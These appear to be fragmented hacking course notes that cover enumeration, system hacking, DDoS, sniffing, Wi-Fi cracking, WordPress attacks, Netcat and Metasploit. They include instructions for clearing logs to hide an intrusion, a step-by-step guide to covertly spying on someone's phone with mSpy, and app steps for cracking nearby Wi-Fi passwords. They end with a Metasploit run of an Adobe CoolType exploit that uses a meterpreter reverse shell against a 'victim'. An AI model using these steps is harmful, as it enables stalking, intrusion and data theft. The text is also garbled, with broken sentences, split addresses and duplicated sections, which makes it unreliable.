Enumerations enhance code readability
and maintainability
...
Enumeration in Surveys and Research: In survey research, enumeration refers to the process of
systematically collecting data by listing and recording information from respondents
...
5
...
It aims to identify and list network
resources, such as open ports, services, user accounts, and other information that can be useful
for vulnerability assessment or penetration testing
...
Here are some examples of well-known default ports:
1
...
2
...
3
...
Data
transfer may use additional ports (active FTP) or the samecontrol port (passive FTP)
...
SSH (Secure Shell): Port 22 is the default port used for secure remote administration and secure
file transfers
...
Telnet: Port 23 is the default port used for unencrypted remote terminal connections
...
SMTP (Simple Mail Transfer Protocol): Port 25 is the default port used for email transmission
between mail servers
...
DNS (Domain Name System): Port 53 is the default port used for DNS queries and responses
...
POP3 (Post Office Protocol version 3): Port 110 is the default port used for retrieving email from a
remote mail server
...
IMAP (Internet Message Access Protocol): Port 143 is the default port used for retrieving email
from a remote mail server, with more advanced features than POP3
...
RDP (Remote Desktop Protocol): Port 3389 is the default port used for remote desktop
connections in the Windows operating system
...
They are implemented to protect systems, networks, or individuals from potential
harm
...
Firewall: A firewall is a network security device that monitors and controls incoming and outgoing
network traffic based on predetermined security rules
...
2
...
They can identify and respond to suspicious
activities, such as unauthorized access attempts, malware, or network anomalies
...
Encryption: Encryption involves converting data into a secure form that can only be deciphered
with the appropriate decryption key
...
4
...
It requires users to provide multiple forms of
verification, such as passwords, biometrics, or security tokens, to access systems or data
...
Regular Software Patching and Updates: Keeping software applications and systems up to date
with the latest patches and updates helps address known vulnerabilities and security weaknesses
...
6
...
7
...
Having reliable
backups allows for data restoration and business continuity in case of incidents
...
Access Control: Implementing granular access controls and privileges ensures that users only have
access to the resources and data necessary for their roles
...
9
...
10
...
It outlines the steps to be taken during an incident,
including incident identification, containment,
NetBios
NetBIOS (Network Basic Input/Output System) is a legacy networking protocol that was developed
by IBM in the 1980s
...
NetBIOS operates at the session layer of the OSI model and primarily uses
the User Datagram Protocol (UDP) and the NetBIOS over TCP/IP (NBT) protocol for communication
...
Here's a general approach to enumerate SNMP:
1
...
These
can include routers, switches, servers, printers, and other network devices
...
2
...
The default community strings are often "public" (read-only access) and
"private" (read-write access)
...
3
...
Some popular SNMP discovery
tools include SNMPWalk, SNMPB, and SNMP MIB Browser
...
4
...
Explore the MIBS available on the SNMP devices to determine the specific
information you want to retrieve
...
5
...
SNMP
queries typically involve using SNMP GET requests to obtain specific data values, such as system
information, network interface statistics, device configuration, and more
...
6
...
This information can
be helpful for network monitoring, troubleshooting, or security assessments
...
Here's a general approach to enumerate SNMP:
1
...
These
can include routers, switches, servers, printers, and other network devices
...
2
...
The default community strings are often "public" (read-only access) and
"private" (read-write access)
...
3
...
Some popular SNMP discovery
tools include SNMPWalk, SNMPB, and SNMP MIB Browser
...
4
...
Explore the MIBS available on the SNMP devices to determine the specific
information you want to retrieve
...
5
...
SNMP
queries typically involve using SNMP GET requests to obtain specific data values, such as system
information, network interface statistics, device configuration, and more
...
6
...
This information can
be helpful for network monitoring, troubleshooting, or security assessments
...
Here's a general approach to enumerate
SMTP:
1
...
This can be
the mail server associated with a specific domain or an SMTP server that you have permission to
access
...
Enumerate SMTP ports: By default, SMTP uses port 25 for communication
...
Identify the port on which the
SMTP server is listening to establish a connection
...
Establish a connection: Use telnet or a similar command-line tool to establish a connection to the
SMTP server
...
4
...
The typical SMTP handshake involves sending "HELO" or "EHLO" commands
to greet the server and start the communication session
...
Query SMTP server capabilities: After the handshake, you can send specific SMTP commands to
query the server's capabilities and configuration
...
• "EXPN
...
• "NOOP": Sends a
no-operation command to check if the server is responsive
...
6
...
Take note of this information
...
Analyze responses: Pay attention to the responses received from the server
...
8
...
You can attempt to
send emails to various common or guessed email addresses and analyze the server's response to
identify valid and invalid addresses
...
Document findings: As you enumerate the SMTP server, document your findings, including any
vulnerabilities, misconfigurations, or potential areas of concern
...
Here's a general approach to enumerate NFS:
1
...
These are the servers that host NFS shares and provide file system access to clients
...
Enumerate NFS ports: NFS typically uses port 2049 for communication
...
Identify the ports used by NFS services on the
target server
...
Enumerate shares: Use the showmount command (e
...
, showmount -e
similar tools to query the NFS server for available shares
...
Alternatively, you can use tools like 'nmap or custom scripts to scan for NFS
services and enumerate shares
...
Mount shares: Once you have identified the NFS shares, attempt to mount them on your system
using the 'mount command or NFS client software
...
5
...
Use commands like '1s' or 'ls - 1' to list the files and directories within the
share and view their permissions
...
6
...
This includes details
such as file system type, total size, available space, and mount options
...
Identify NFS version and security settings: Determine the NFS version used by the server (e
...
,
NFSv3, NFSv4)
...
g
...
g
...
8
...
How to enumerate DNS
Enumerating DNS (Domain Name System) involves gathering information about DNS servers, domain
records, and configurations
...
Identify the target DNS server: Determine the DNS server you want to enumerate
...
2
...
This can be obtained from network documentation, domain registrar information, or by
querying network configuration settings
...
Perform DNS zone transfer: DNS zone transfer allows you to retrieve a copy of theDNS zone data
from an authoritative DNS server
...
This
may provide you with a comprehensive list of domain records, including subdomains, IP addresses,
and other DNS records
...
Query specific DNS records: Use tools like 'dig' or `nslookup to query specific DNS records
...
You can query different record types, such as A, AAAA, CNAME, MX, TXT, etc
...
5
...
Use the dig -x
records
...
Analyze DNSSEC information: If DNSSEC (Domain Name System Security
Extensions) is enabled on the DNS server, you can retrieve and analyze DNSSEC- related records
using tools like 'dig
...
6
...
This may provide insights into recently
accessed domains and associated IP addresses
...
Document findings: As you enumerate the
DNS server, document your findings, including domain records, IP addresses, mail servers, and
any other relevant information discovered during the enumeration process
...
It involves scanning and analyzing systems to uncover
security weaknesses that could be exploited by attackers
...
Software Vulnerabilities:
• Operating System Vulnerabilities: Weaknesses in the OS that can be targeted
by attackers
...
• Network Protocol Vulnerabilities: Weaknesses in network protocols that can be
Network Vulnerabilities:
abused
...
3
...
Human Error Vulnerabilities: Mistakes made by individuals that lead to security
vulnerabilities
...
Physical Vulnerabilities:
• Physical Access Vulnerabilities: Weaknesses in physical security measures
...
5
...
Injection Vulnerabilities: Input validation issues that allow
• Cross-Site Scripting (XSS) Vulnerabilities: Allowing malicious scripts to be
executed on users' browsers
...
It's important to regularly conduct vulnerability assessments to identify and mitigate potential
weaknesses, ensuring the overall security of systems and networks
...
System hackers, often
referred to as black hat hackers or malicious actors, exploit vulnerabilities in computer systems
or networks to gain control or access that is not intended or permitted
...
Reconnaissance: Hackers gather information about the target system, such as its network
architecture, operating system, software versions, and potential vulnerabilities
...
2
...
They may use automated tools to scan for
weaknesses or manually probe the system for vulnerabilities
...
Gaining Access: Once a vulnerability is identified, hackers attempt to exploit it to gain
unauthorized access to the system
...
4
...
They may install backdoors, rootkits, or other malicious software to ensure continued
access, even if the initial vulnerability is patched
...
Privilege Escalation: Hackers seek to elevate their privileges within the compromised system
to gain administrative or root-level access
...
6
...
They
may delete log files, modify timestamps, or manipulate system records to hide their presence
and make it harder for system administrators to identify the intrusion
...
Exploitation: Depending on their objectives, hackers may exploit the compromised system to
carry out further attacks, such as launching distributed denial-of-service (DDoS) attacks, stealing
sensitive data, or spreading malware to other systems on the network
...
For
trusted users, privilege escalation allows expanded access for a limited time
to complete specific tasks
...
Vertical privilege escalation, sometimes referred to as privilege elevation, is
when an attacker compromises a user account that has limited permissions
on a system
...
For example, they might add the compromised account to the
local administrator group
...
With
higher-level privileges, an attacker can move freely around the network
without detection
...
There are several techniques you can use to hide data through
steganography
...
1
...
It can be an image, audio file, video, or even text document
...
2
...
It
can be a text message, another file, or any other form of data
...
Choose a steganographic algorithm: Steganography algorithms define how the data will be
embedded within the cover medium
...
Some common algorithms include Least Significant Bit (LSB),
Spread Spectrum, and Transform Domain Techniques
...
Embed the data: Using the chosen steganographic algorithm, embed the data into the cover
medium
...
5
...
It's essential to validate the output and make sure the hidden
data can be extracted correctly
...
Share or store the steganographic file: Once you have successfully embedded the data, you
can share or store the steganographic file just like any other file
...
7
...
Apply the steganographic algorithm to extract the embedded data from
the cover medium
...
Open Event Viewer: Press the Windows key + R, type "eventvwr
...
2
...
g
...
3
...
"
4
...
"
Note: Clearing logs in Windows requires administrative privileges
...
Open a terminal window
...
Use the appropriate command to clear logs based on the Linux distribution you are using:
⚫ For Debian/Ubuntu-based systems: Use the command 'sudo logrotater-f /etc/logrotate
...
d/**
...
conf or
'sudo logrotate -f /etc/logrotate
...
• For other Linux distributions, the logrotate configuration file may vary
...
3
...
4
...
Note: Clearing logs in Linux typically requires administrative privileges
...
What is Malware, Tarojan, worms
...
Here's a brief explanation of each:
1
...
It
refers to any software intentionally created to damage, disrupt, or gain unauthorized access to a
computer system
...
2
...
Once installed, a Trojan can
perform various malicious activities, such as stealing sensitive information, damaging files, or
providing unauthorized access to the attacker
...
Worms: Worms are self-replicating malware that spread across computer networks without
the need for user interaction
...
They exploit vulnerabilities in computer systems or network protocols to
propagate and infect other systems
...
Antivirus Software: Install reputable antivirus software on your computer or network
...
Antivirus software uses signature-based detection to identify known threats
...
Malware Scanners: Use specialized malware scanning tools, such as Malwarebytes or
Windows Defender Offline, to scan your system for malware, Trojans, and worms
...
3
...
Intrusion detection and prevention systems (IDPS) can be helpful in identifying malicious
behavior
...
Behavior Analysis: Monitor your system for abnormal behavior, such as unexpected system
crashes, slow performance, unexplained network connections, or unauthorized access
attempts
...
5
...
Keeping your software up to date helps protect against known vulnerabilities that
malware, Trojans, or worms may exploit
...
User Awareness: Educate yourself and your users about safe computing practices, including
avoiding suspicious email attachments, not downloading files from untrusted sources, and being
cautious when clicking on links or visiting unknown websites
...
What is Payload and how to create playload
In the context of computer security, a payload refers to the malicious component of a malware
or exploit
...
Creating a payload involves crafting the specific code or functionality that will be executed on
the target system to achieve the attacker's objective
...
The
information provided here is purely for educational purposes and to raise awareness about
cybersecurity
...
One popular framework for creating payloads is Metasploit
...
Here is a general outline of how you could create a payload using Metasploit:
1
...
Detailed
installation instructions can be found on the Metasploit website or in the Metasploit
documentation
...
Identify the target and objective: Determine the target system you want to assess or exploit
and define your objective
...
3
...
Metasploit offers a wide range of
payloads for different purposes and target platforms
...
4
...
This may include specifying parameters such as the target IP address, port
number, encoding options, or other specific settings
...
Generate the payload: Use the Metasploit framework to generate the payload based on the
selected payload module and configuration
...
6
...
This could involve various methods such as email
attachments, malicious websites, social engineering techniques, or exploiting vulnerabilities
...
What is sniffing
...
However, hackers can also misuse sniffing techniques to gather sensitive
information from network communications and compromise the security of a network
...
Promiscuous Mode: Hackers may place a network interface card (NIC) into promiscuous
mode
...
However, in
promiscuous mode, the NIC captures all traffic passing through the network, including data
intended for other devices
...
ARP Poisoning/ARP Spoofing: Address Resolution Protocol (ARP) poisoning involves the
attacker sending false ARP messages to the network, tricking devices into associating the
attacker's MAC address with the IP address of another legitimate device
...
3
...
This enables them to capture sensitive data, such as login
credentials, financial information, or other confidential information
...
Network Tapping: Hackers can physically tap into network cables or use devices that
passively intercept network traffic, such as network switches with monitoring or mirroring
capabilities
...
5
...
By capturing wireless packets, they can extract information
such as usernames, passwords, or other sensitive data transmitted over the air
...
Packet Analysis: Once the hacker has captured the network traffic, they can use packet
analysis tools to examine the captured packets and extract valuable information
...
To protect against sniffing attacks and enhance network security, it is important to implement
the following measures:
• Use encryption protocols such as SSL/TLS to encrypt sensitive data transmitted over the
network
...
• Regularly update and patch network devices and software to address vulnerabilities that could
be exploited by attackers
...
Implement intrusion detection and prevention systems (IDPS) to detect and prevent sniffing
attacks in real-time
...
Educate network users about the risks of sniffing attacks and promote good security practices,
such as avoiding unsecured public Wi-Fi networks and using encrypted communication
protocols
...
It is crucial to always ensure you have proper authorization and adhere to
legal and ethical guidelines when performing any network-related activities
...
Changing MAC Address:
To change the MAC address of a network interface, follow these general steps: Windows:
1
...
Open the Network and Sharing Center
...
2
...
"
1
...
Right-click on the network adapter you want to modify and select "Properties
...
4
...
1
...
Go to the "Advanced" tab
...
6
...
1
...
Enable the option and enter the desired MAC address
...
8
...
• Linux:
1
...
Open a terminal and enter the command: 'sudo ifconfig
...
2
...
1
...
Bring the interface back up using the command: sudo ifconfig
...
4
...
1
...
This allows an attacker to intercept
and sniff network traffic
...
Here
is a general overview:
• Obtain a tool capable of MAC flooding, such as Yersinia or macof
...
• Launch the MAC flooding tool, specifying the target MAC address or range
...
• Once the CAM table is full, the switch will operate in fail-open mode, allowing the attacker to
intercept network traffic
...
Performing MAC flooding attacks without proper authorization is illegal and
unethical
...
It
involves exploiting psychological and behavioral aspects of human nature to gain unauthorized
access to systems, networks, or sensitive data
...
The power of social engineering lies in its ability to bypass technical security controls and exploit
human vulnerabilities
...
Human Trust: Social engineers exploit the inherent trust people place in others
...
2
...
Manipulating
emotions and decision-making processes can lead individuals to act against their best interests
...
Exploiting Human Curiosity: Humans have a natural curiosity that can be exploited
...
4
...
This can lead to hasty decisions that compromise security
...
Lack of Security Awareness: Many people lack awareness about security threat and best
practices
...
6
...
They can gain physical or virtual access to sensitive
areas by appearing as employees, contractors, or other trusted individuals
...
Difficulty to Detect: Unlike technical attacks, social engineering attacks may not leave behind
traces or raise suspicion
...
To defend against social engineering attacks, individuals and organizations should focus on
security awareness training, establishing policies and procedures, implementing strong
authentication mechanisms, regularly updating and patching systems, monitoring and analyzing
network activity, and promoting a culture of skepticism and verification
...
These
toolkits are primarily used by security professionals, ethical hackers, and penetration testers to
assess the effectiveness of security measures and raise awareness about social engineering
vulnerabilities
...
One prominent social engineering toolkit is the Social Engineer Toolkit (SET), developed by
TrustedSec
...
It includes features such as phishing email
generation, website cloning, credential harvesting, payload delivery, and more
...
However, it's important to note that the use of social engineering toolkits should always be done
with proper authorization and for legitimate purposes
...
Using social engineering toolkits for illegal activities, such as phishing, identity theft, or
unauthorized access to systems, is illegal and can have severe legal consequences
...
What is Dos and DDos attack and it's power?
A DOS (Denial of Service) attack is a malicious attempt to disrupt the normal functioning of a
computer network, service, or website by overwhelming it with a flood of illegitimate requests or
excessive traffic
...
There are several types of DOS attacks, including:
1
...
2
...
For example, an HTTP flood attack floods a website with HTTP requests, overwhelming the
server
...
Distributed Denial of Service (DDoS) attacks: These involve multiple compromised
computers, known as a botnet, that are controlled by the attacker
...
DDOS attacks are generally more powerful and difficult to defend against compared to
traditional DoS attacks
...
Additionally, DDoS attacks often involve various attack
techniques simultaneously, targeting different layers of the network stack or exploiting
vulnerabilities in multiple systems
...
Large-scale DDoS attacks have been known to reach
hundreds of gigabits per second (Gbps) or even terabits per second (Tbps) of traffic,
overwhelming even the most robust network infrastructures
...
?
A Distributed Denial of Service (DDoS) attack is an attempt to make an online service or a
website unavailable by overloading it with huge floods of traffic generated from multiple sources
...
A large scale
volumetric DDoS attack can generate a traffic measured in tens of Gigabits (and even hundreds
of Gigabits) per second
...
A DDoS flood can be generated in multiple ways
...
Attackers can have computers send a victim resource huge amounts of random data to
use up the target's bandwidth
...
These are also called Layer 3 & 4 Attacks
...
The attack magnitude is measured in Bits
per Second (bps)
...
Specialized
firewalls can be used to filter out or block malicious UDP packets
...
This type of attack can consume both
outgoing and incoming bandwidth and a high volume of ping requests will
result in overall system slowdown
...
Amplification Attack − The attacker makes a request that generates a
large response which includes DNS requests for large TXT records and
HTTP GET requests for large files like images, PDFs, or any other data files
...
This type of attack consumes actual server resources and other resources like
firewalls and load balancers
...
•
•
•
DNS Flood − DNS floods are used for attacking both the infrastructure and
a DNS application to overwhelm a target system and consume all its
available network bandwidth
...
Administrators can tweak TCP stacks to mitigate the effect of SYN floods
...
Ping of Death − The attacker sends malformed or oversized packets using
a simple ping command
...
To avoid Ping of Death attacks and its variants,
many sites block ICMP ping messages altogether at their firewalls
...
Here the goal is to crash
the web server
...
•
•
•
•
Application Attack − This is also called Layer 7 Attack, where the attacker
makes excessive log-in, database-lookup, or search requests to overload
the application
...
Slowloris − The attacker sends huge number of HTTP headers to a
targeted web server, but never completes a request
...
NTP Amplification − The attacker exploits publically-accessible Network
Time Protocol (NTP) servers to overwhelm the targeted server with User
Datagram Protocol (UDP) traffic
...
These are new type of attacks coming into existence day by
day, for example, exploiting vulnerabilities for which no patch has yet been
released
...
However, if your system is under a DDoS attack, then don’t
panic and start looking into the matter step by step
...
By
taking control of a valid session, the attacker can impersonate the user and perform actions on
their behalf
...
Packet Sniffing: In this type of attack, the attacker captures network traffic between the user
and the server
...
2
...
By capturing the session cookies or credentials exchanged between the
user and the server, the attacker can hijack the session
...
Man-in-the-Middle (MitM) Attack: In a MitM attack, the attacker positions themselves between
the user and the server, intercepting and modifying the communication
...
This type of
attack is particularly effective when the communication is not properly encrypted or when the
attacker can exploit vulnerabilities in the network infrastructure
...
Session Prediction: Some applications generate session IDs or tokens using predictable
algorithms
...
This is often achieved by analyzing patterns in session ID generation or by exploiting weak
randomness in the system
...
Session Replay: In a session replay attack, the attacker captures a valid session and replays
it at a later time
...
By replaying the session, the attacker can gain unauthorized access
to the system
...
These
Wi-Fi securities are as follows:
1
...
2
...
3
...
Wired Equivalent Privacy (WEP)
Wired Equivalent Privacy (WEP) Wi-Fi security is one of the most popular and
widely used Wi-Fi securities in the entire world
...
Someone can easily crack and hack such WiFi security using Airmon tools from Kali Linux and Aircrack
...
This Wi-Fi security system was
introduced in the year 2003
...
Due to which it became easy to hack this Wi-Fi security
...
Wi-Fi Protected Setup (WPS)
Finally, the Wi-Fi Protected Setup (WPS) is only the Wi-Fi security system that
is not easy to hack and crack
...
If
someone uses WPS security, then it might be difficult to hack this security
...
Wi-Fi WPS TESTER app hacks only those routers
that connect with WPS router with limited features
...
The best part of this
application is that you can use it without rooting your Android phone
...
Using this Android app, you can easily check the wireless security and strength
of your router
...
After skipping the
password, it connects the Android phone with the router without providing a
password
...
Below are the steps to hack Wi-Fi password on Android
without rooting
...
Download and install the WIFI WPS WPA TESTER app from Play Store
...
Enable the Wi-Fi settings on your Android phone
...
Launch the app and search for the Wi-Fi networks nearby you
...
Select one of the networks from the result and start hacking by tap
...
You can input its key manually
...
The app checks the Wi-Fi security, and it tries different combinations of words
and numbers to crack the Wi-Fi password
...
Method 2: Hacking Wi-Fi password in Android using
AndroDumper App APK (without Rooting)
AndroDumper is another popular app used for hacking Wi-Fi passwords in
Android phones
...
Follow the below mention steps to hack Wi-Fi passwords on
Android using this app
...
Turn on the Wi-Fi settings on your Android device
...
Choose the network you wish to hack and connect and tap on it
...
If the selected network has a weak
Wi-Fi password, then this app possibly hacks it
...
To protect yourself against sophisticated hackers, you need to understand
how they operate and the methods they use to hack Android devices
...
How to hack Android Phone using mSpy
mSpy is a parental tracking tool installed on the Android operating system
...
Features:
•
•
•
•
•
•
•
•
Track geolocation history
Read texts, including deleted messages
You can see who they called and when
View their browsing history
Read social media messages
You can see the pictures they have sent
Log keystrokes to discover passwords and more
Record their screen without them knowing
How to Hack Someone’s Phone with mSpy
Step 1) Visit www
...
com, Enter your email address, and purchase a
suitable plan
...
(Android
or iOS devices)
...
In this case, we have selected Android
...
In this example, we have selected Samsung
...
Follow on-screen instructions
and configure mSpy
...
Allow some time (2-3 hours) for this phone tracker app to record your
social media activities
...
It involves various techniques and methods to protect
information and ensure its confidentiality, integrity, and authenticity
...
It is used to prevent unauthorized access, interception, or modification of data
during transmission or storage
...
There are two main types of cryptography: symmetric key cryptography (or secret key cryptography)
and asymmetric key cryptography (or public key cryptography)
...
Symmetric Key Cryptography: In this approach, the same key is used for both encryption and
decryption
...
Symmetric key algorithms are generally faster and more efficient for encrypting large
amounts of data
...
2
...
The public key is freely distributed and used for
encryption, while the private key is kept secret and used for decryption
...
It
enables secure communication between two parties who have never met before
...
Cryptography is used in various applications, including secure communication over networks (e
...
,
HTTPS for secure web browsing), data protection in storage systems, secure authentication
mechanisms (e
...
, digital signatures), secure transactions (e
...
, online banking), and many other areas
where data security and privacy are essential
...
The goal of penetration testing is to identify vulnerabilities,
weaknesses, and potential entry points that malicious attackers could exploit
...
The process
typically involves several stages:
1
...
This information helps in formulating a comprehensive testing strategy
...
Scanning: The tester uses various tools and techniques to scan the target system Or
network for open ports, services, and potential vulnerabilities
...
3
...
This may involve using techniques like
brute-forcing passwords, exploiting software vulnerabilities, or social engineering
attacks
...
Maintaining Access: Once the tester has gained access, they attempt to maintain a
foothold within the system or network
...
5
...
They provide recommendations for mitigating the identified weaknesses
and improving overall security
...
It helps organizations assess their ability to withstand attacks, detect vulnerabilities, and
respond effectively to security incidents
...
What informations required to hack any websites?
Hackers spend immense amounts of time and effort to determine the web-server types, webserver software, server operating system, etc
...
General Intelligence (listening on social media, tech sites, etc
...
What is cyber security
Cybersecurity refers to the practice of protecting computer systems, networks, programs, and
data from unauthorized access, attacks, damage, or theft
...
The field of cybersecurity encompasses a wide range of technologies, processes, and practices
that are designed to safeguard computers, servers, networks, and data from various threats,
including malicious actors, malware, hacking attempts, and other vulnerabilities
...
Confidentiality: Ensuring that sensitive information is only accessible to authorized individuals
or entities and protected from unauthorized disclosure
...
Integrity: Maintaining the accuracy, completeness, and reliability of data and information, and
preventing unauthorized modification, tampering, or corruption
...
Availability: Ensuring that computer systems, networks, and services are accessible and
operational when needed, and protected against downtime or denial-of-service attacks
...
Authentication: Verifying the identity of individuals or entities accessing a system or network,
typically through usernames, passwords, biometrics, or multi-factor authentication methods
...
Authorization: Granting appropriate access rights and permissions to authorized users,
limiting access to sensitive resources and functions based on roles and privileges
...
Network Security: Protecting computer networks from unauthorized access, intrusions, or
attacks by implementing firewalls, intrusion detection systems, and other security measures
...
Application Security: Ensuring that software applications are designed, developed, and tested
with security in mind to prevent vulnerabilities that could be exploited by attackers
...
Incident Response: Establishing procedures and processes to respond to and manage
security incidents effectively, including identifying, containing, mitigating, and recovering from
cybersecurity breaches or attacks
...
Encryption: The process of converting data into an unreadable format using encryption
algorithms, making it unintelligible to unauthorized users and ensuring secure transmission and
storage
...
Security Awareness: Promoting knowledge and understanding of cybersecurity best
practices among individuals and organizations, including training on safe internet usage,
phishing awareness, and password hygiene
...
While I cannot endorse or support any illegal activities or malicious intent, I can
provide you with an overview of some common advanced information gathering techniques
used by security professionals
...
Open Source Intelligence (OSINT): OSINT involves gathering information from publicly
available sources such as search engines, social media platforms, public records, online
forums, and websites
...
2
...
It involves techniques such as phishing,
pretexting, impersonation, or exploiting human vulnerabilities to deceive and trick people into
revealing information
...
DNS Enumeration: DNS enumeration involves gathering information about a target's DNS
(Domain Name System) infrastructure
...
4
...
It helps identify potential entry points for further exploitation and provides
insight into the network architecture
...
Vulnerability Scanning:Vulnerability scanning involves using automated tools it scan
networks, systems, or applications for known vulnerabilities
...
6
...
This information helps in understanding the
network topology and potential attack vectors
...
Wireless Network Scanning: Wireless network scanning focuses on identifying wireless
networks in the vicinity and assessing their security
...
8
...
It helps identify common vulnerabilities such as SQL
injection, cross-site scripting (XSS), or insecure configuration that could be exploited by
attackers
...
It involves configuring your router or
firewall to forward incoming network traffic on a specific port to a specific internal IP address
and port on your local network
...
Identify the computer or service you want to access: Determine the internal IP address and
port number of the computer or service you want to access remotely
...
2
...
Typically, the IP address is something like
192
...
1
...
168
...
1
...
3
...
The exact location and terminology may vary depending on
your router's make and model
...
Create a port forwarding rule: Set up a new port forwarding rule by specifying the external
port number (the port number you want to use to access the service from outside your network)
and the internal IP address and port number of the computer or service on your local network
...
Enable and save the configuration: Once you've set up the port forwarding rule, enable it and
save the configuration settings on your router
...
Test the remote access: To access the computer or service from outside your network, you'll
need to use the public IP address of your network (which can be found by searching "what is my
IP" on a search engine) along with the external port number you specified
...
456
...
123 and you forwarded port 80, you can access the web
server by entering http://123
...
789
...
It's important to note that port forwarding can expose your computer or service to potential
security risks if not configured properly or if the service you're forwarding is not adequately
secured
...
How to use Zenmap to scan a Network
Zenmap is a graphical interface for the Nmap network scanning tool
...
Here's a step-by-step
guide on how to use Zenmap to scan a network:
1
...
Zenmap is
available for Windows, Linux, and macOS, and you can download it from the official Nmap
website (https://nmap
...
2
...
Zenmap should open with a graphical user interface
...
Specify the target: In the "Target" field, enter the IP address or hostname of the network or
device you want to scan
...
168
...
0/24"
to scan a range of IP addresses within a local network
...
Choose a scan profile: Zenmap provides several pre-defined scan profiles that cater to
different scanning needs
...
You can select a different profile from the "Profile" drop-down menu if needed
...
Configure scan options: If you want to customize the scan further, you can click on the
"Profile" drop-down menu and select "Profile Editor
...
However, the default settings are generally
suitable for most scanning purposes
...
Start the scan: Once you have specified the target and selected the scan profile (if needed),
click on the "Scan" button to start the scanning process
...
7
...
You can explore the open ports, services, and other information collected during the
scan
...
8
...
How to use Netcat commands with examples
Netcat, also known as "nc," is a versatile command-line tool used for networking and data
transfer
...
Here are some common Netcat commands with examples of their usage:
Netcat is one of the most powerful networking tools, security tools, and network
monitoring tools
...
It is even considered a Swiss
army knife of networking tools
...
• Port Scanning
• Port Listening
• Port redirection
• open Remote connections
• Read/Write data across the network
...
Installing Netcat (nc) Process Monitoring Tool in Linux
To install the Netcat tool use the following commands as per your Linux distribution
...
This will display the help menu of Netcat, indicating that it is installed and ready to be used
...
It can be both Domain name (e
...
, example
...
g
...
168
...
1)
...
Basically, it represents the endpoint where the desired service is running
...
com) or IP address (e
...
, 192
...
0
...
We use the following
command
...
com 80
Listen Mode
In this mode Netcat works as a server
...
To work in this mode, we have to use Netcat in Listen mode and
provide the `
...
We can say that it will bind itself to the
specified host’s IP address or network interface
...
For example: If we want to listen to the IP address (e
...
, 192
...
0
...
We use the
following command
...
168
...
1 8080
We can use `-lv` option to view verbose (-v)
Practical implementation of Netcat Security Tool in Linux
We have two systems running on same network, To know there IP address:
System 1 IP address (Localhost) (10
...
90
...
It can be both Domain name (e
...
, example
...
g
...
168
...
1)
...
Basically, it represents the endpoint where the desired service is running
...
com) or IP address (e
...
, 192
...
0
...
We use the following
command
...
com 80
Listen Mode
In this mode Netcat works as a server
...
To work in this mode, we have to use Netcat in Listen mode and
provide the `
...
We can say that it will bind itself to the
specified host’s IP address or network interface
...
For example: If we want to listen to the IP address (e
...
, 192
...
0
...
We use the
following command
...
168
...
1 8080
We can use `-lv` option to view verbose (-v)
Practical implementation of Netcat Security Tool in Linux
We have two systems running on same network, To know there IP address:
System 1 IP address (Localhost) (10
...
90
...
2) System 2
We are running `nc` command with IP address of System 1 and a port number on which system
1 is listening
...
143
...
24 1111
used `-v` for verbose to see if it was successful or not And mentioned IP address of System1
...
used `-v` for verbose to see if it was successful or not And mentioned IP address of System1
...
used `-v` for verbose to see if it was successful or not and used `-k` so that our connection
doesn’t stop in case of disconnect
...
Here we will check for port number 1111, if this port is open, we will see successful in
connection
...
143
...
106 1111
Here we have used `-z` option, to scan for open ports
...
vim port_scan
...
sh with your requirements
...
143
...
106” with you requirement,
We are taking start port and end port as a input from user itself
...
143
...
106″
read -p “Enter the starting port number: ” start_port
read -p “Enter the ending port number: ” end_port
for (( port=start_port; port<=end_port; port++ ))
do
nc -zv “$host” “$port”
done
What is WordPress?
WordPress is a content management system (CMS) that allows you to host and build websites
...
3 Techniques used for Hack WordPress
Website
How To Hack A WordPress Website – Possible Methods
1
...
WPScan can run brute force and
dictionary-based password attacks and can also detect vulnerabilities in individual WordPress
themes
...
2
...
As long
as the login credentials are not encrypted with a VPN tunnel or other code like HTTPS, the login
information will be able to be seen in plain text
...
3
...
SQL injection attacks take advantage of the backend database on a website
by entering malicious commands designed to break the system
...
However, the very first step to any SQLi attack is to identify vulnerable websites and find one
that has not plugged up several security holes
...
This should
be followed by creating the update on your live website once you have
confirmed all work well
...
These
updates can help optimize the plugin to work methodically with the
current versions of WordPress
...
This outdated software
is considered to be the number one cause of malware or infection on
sites as they lose their security features once it expires
...
parrotsec
...
• Go to the "Download" section and select the edition of Parrot OS you
want to install (e
...
, Home, Security, or Studio)
...
⚫ Click on the download link to start the download
...
Create a bootable USB drive:
• Insert a USB flash drive with a minimum capacity of 4GB into your
computer
...
• Open the utility and select the downloaded Parrot OS ISO file
...
• Start the creation process, which may take a few minutes
...
Boot from the USB drive:
• Restart your computer
...
g
...
• Look for the "Boot" or "Boot Order" settings and set the USB drive as
the primary boot device
...
4
...
Select the "Install" option from the boot menu
...
"
• Select your location and click "Continue
...
"
• Set up the root password and click "Continue
...
" You can choose to use the entire disk or manually partition
it
...
"
• Wait for the installation process to complete
...
Configure the system:
• When prompted, select your timezone and click "Continue
...
Click
"Continue
...
• Wait for the system to finish installing additional packages and
configuring the settings
...
Finish the installation:
• Once the installation is complete, you will see a summary screen
...
• Parrot OS should boot from the hard drive
...
computer
...
0
...
0 yes The local host to listen on
...
0
...
0
SRVPORT 8080 yes The local port to listen on
...
Open Metasploit and run following commands:
msf> show exploits
msf>use windows/browser/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing)> set payload windows/meterpreter/reverse_tcp
payload=> windows/meterpreter/reverse_tcp
msf exploit(adobe_cooltype_sing) > show options
Module options (exploit/windows/browser/adobe_cooltype_sing):
Name Current Setting Required Description
—- ————— ——– ————————————————SRVHOST 0
...
0
...
This must be an address on the local
machine or 0
...
0
...
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2,
SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
—- ————— ——– ————————————————EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
— —- —–
0 Automatic
msf exploit(adobe_cooltype_sing) > set SRVHOST 192
...
0
...
168
...
58
msf exploit(adobe_cooltype_sing) > set SRVPORT 80
SRVPORT => 80
msf exploit(adobe_cooltype_sing) > set uripath /
uripath => /
msf exploit(adobe_cooltype_sing) > set uripath /
uripath => /
msf exploit(adobe_cooltype_sing) >exploit -j
Let the victim open your IP in his/her browser and when it will be opened, you will get 1
meterpreter session
...
OSINT Framework
The OSINT Framework is a comprehensive collection of open-source intelligence
(OSINT) tools and resources that can be used for gathering information from publicly
